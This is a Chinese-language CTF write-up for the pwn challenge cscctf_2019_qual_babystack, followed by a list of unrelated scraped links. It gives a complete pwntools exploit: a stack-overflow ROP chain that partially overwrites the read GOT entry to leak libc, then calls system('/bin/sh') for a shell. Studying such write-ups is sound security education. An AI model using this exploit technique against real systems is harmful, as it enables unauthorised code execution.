文章目录

  • cscctf_2019_qual_babystack
  • 题目分析
    • 保护
    • 漏洞
    • plt
  • 攻击
    • 大致思路
    • 调试
    • 第一次溢出的payload
    • getshell
    • allpayload

最近做的题目都比较有意思啊,这个题目也一样

cscctf_2019_qual_babystack

cscctf_2019_qual_babystack

题目分析

保护

漏洞


直接来了个栈溢出,我开始说这不是傻逼题目吗

plt


我靠,只有读的,这不完犊子了吗

攻击

大致思路

大致思路就是ROP
但怎么泄露libc

调试


可以看到地址只有最后一位差距,所以我们可以给got里面最后一位改成\xf0,相当于read变成write,这样就可以泄露libc,最后在利用plt+6重新解析回正常的write

第一次溢出的payload

  1. 修改read got表
  2. 泄露libc
  3. 利用dlreslov修改正常的read got
  4. 回到vuln
pop_three_ret = 0x08048519#指pop三个任意寄存器
payload = (b"a" * 0x14#修改read got+ p32(elf.plt["read"])+ p32(pop_three_ret)+ p32(0)+ p32(elf.got["read"])+ p32(1)#泄露libc+ p32(elf.plt["read"])+ p32(pop_three_ret)+ p32(1)+ p32(elf.got["read"])+ p32(4)#修复read got+ p32(elf.plt["read"] + 6)+ p32(pop_three_ret)+ p32(0)+ p32(0x804A020)+ p32(1)回到漏洞+ p32(elf.sym["vuln"])
)
s(payload)
sleep(1)#防止粘滞
s(b"\xf0")
libc_base = u32(ru(b"\xf7")) - libc.sym["write"]
s(b"\x00")#这个只是用来修服,随便完bss写一个东西,因为dlresolv最终还是会调用一下
sleep(1)

getshell

system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
payload = b"a" * 0x14 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
s(payload)
it()

allpayload

pop_three_ret = 0x08048519
payload = (b"a" * 0x14+ p32(elf.plt["read"])+ p32(pop_three_ret)+ p32(0)+ p32(elf.got["read"])+ p32(1)+ p32(elf.plt["read"])+ p32(pop_three_ret)+ p32(1)+ p32(elf.got["read"])+ p32(4)+ p32(elf.plt["read"] + 6)+ p32(pop_three_ret)+ p32(0)+ p32(0x804A020)+ p32(1)+ p32(elf.sym["vuln"])
)
s(payload)
sleep(1)
s(b"\xf0")
libc_base = u32(ru(b"\xf7")) - libc.sym["write"]
s(b"\x00")
sleep(1)
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
payload = b"a" * 0x14 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
s(payload)
it()

如何在有限的plt下getshellcscctf_2019_qual_babystack相关推荐

  1. 有限理性建模的方法和计算机平台,有限理性假设下的多方计算协议建模与仿真...

    有限理性假设下的多方计算协议建模与仿真 始于2004年的理性多方计算(Rational Multiparty Computation,RMPC)是密码学的新兴研究方向,在多方隐私保护合作计算.电子商务 ...

  2. java中数组的内存模型_Java如何在内存有限的情况下实现一个超大数组?jvm性能调优+内存模型+虚拟机原理能解决什么样问题...

    在上一篇文章中,小编为您详细介绍了关于<变频器调速问题?三星R458更换CPU>相关知识.本篇中小编将再为您讲解标题Java如何在内存有限的情况下实现一个超大数组?jvm性能调优+内存模型 ...

  3. 内存有限的情况下 Spark 如何处理 T 级别的数据?

    简单起见,下述答案仅就无shuffle的单stage Spark作业做了概要解释.对于多stage任务而言,在内存的使用上还有很多其他重要问题没有覆盖.部分内容请参考评论中  @邵赛赛  给出的补充. ...

  4. 阿里云谦大佬:时间精力有限的情况下如何高效学习前端?

    大家好,我是若川.最近组织了源码共读活动1个月,200+人,一起读了4周源码,欢迎加我微信 ruochuan12 进群参与.今天分享一篇阿里云谦大佬的文章.昨天在群里也有小伙伴说到:大佬们是需要什么学 ...

  5. 阿里云发布vSphere虚拟机备份服务 ,网络带宽有限条件下依然能有效保护数据

    在6月上旬举行的云栖大会上海峰会上,阿里云发布了vSphere虚拟机备份上云服务(HBR for vSphere),并已经在7月份开始邀测.利用混合云备份服务可以将虚拟机镜像备份上云,避免了传统备份方 ...

  6. ICML2020:预训练的GAN在有限数据下的生成器

    生成对抗网络可以生成高度逼真的图像,通常与真实图像是无法区分的.这样生成的大多数图像都没有包含在训练数据集中,说明用GAN生成的数据对增强数据集的能力很强.尽管在数据有限的情况下这种情况特别重要,但是 ...

  7. 优酷智能档在大型直播场景下的技术实践

    作者 | 阿里文娱高级技术专家 肖文良 本文为阿里文娱高级技术专家肖文良在[阿里文娱2019双11猫晚技术沙龙]中的演讲,主要内容为如何通过优酷智能档,降低用户卡顿尤其是双11直播场景下,提升用户观看 ...

  8. ekf pose使用方法 ros_ubuntu16.04下ROS操作系统学习笔记(二)

    做SLAM的硬件要求(不一定是必须的,看包和库的依赖): (1):差分轮式机器人,可以使用Twist速度指令控制,需要线速度和角速度. (2):需要激光雷达.深度摄像头等测距设备,可以获取环境深度信息 ...

  9. 今年,自动驾驶卡车将在无人驾驶的情况下上路

    文章来源:IEEE电气电子工程师 Photo: TuSimple First in Freight: In 2021, San Diego–based startup TuSimple plans t ...

最新文章

  1. TabHost布局及新浪式TabHost布局
  2. Metasploit运行环境内存不要低于2GB
  3. java jdbc 链接pg_Java零基础教程
  4. js中期BOM及this指向
  5. python怎么打开shell界面-使用IDLE的Python shell窗口实例详解
  6. 入住cnblogs第一篇随笔 Hello, world!
  7. 这焊接技术,大开眼界了......
  8. 手机网页播放器php,html5手机移动端视频播放代码插件
  9. linux rz sz 安装_Windows与Linux文件传输之lrzsz工具
  10. NginxJava笔记-Webservice使用HTTPS协议及Spring Boot配置tomcat
  11. 计算机科学与技术在海南,2017年怀化学院计算机科学与技术专业在海南录取分数线...
  12. 【Spring 持久层】Spring 与 Mybatis 整合
  13. Linux之mkdir命令
  14. 计算机考研复试面试题整理
  15. [Android 测试] 性能回归测试之 MonkeyRunner使用、插件扩展、结合批处理
  16. java实现第四届蓝桥杯猜年龄
  17. linux 卸载dnw命令,linux下使用usb2ram替代dnw
  18. 周期训练理论与方法pdf_周期_PDF图书下载_(美) 图德·邦帕 (Tudor O.Bompa) (美)_免费PDF电子书下载_第一图书网...
  19. dojo框架的基本认识
  20. 【Leetcode 3】无重复字符的最长子串

热门文章

  1. 时间复杂度 ( 递归实现阶乘、斐波那契数列第n个数) / 空间复杂度
  2. 淘宝客 WebView打开淘宝链接失败的解决方法
  3. vSphere 6.5配置使用vMotion高级特性
  4. FlexRay网络管理与测试
  5. |spoj 694|后缀数组|Distinct Substrings
  6. fooview辅助功能 shell_Fooview:一款功能超多的桌面悬浮球,帮你摆脱多余操作
  7. linux中用zip压缩文件,详解Linux中zip压缩和unzip解压缩命令及使用详解
  8. java web QQ(三)
  9. Arista-CVP初始化
  10. 关于群晖 transmission安装及汉化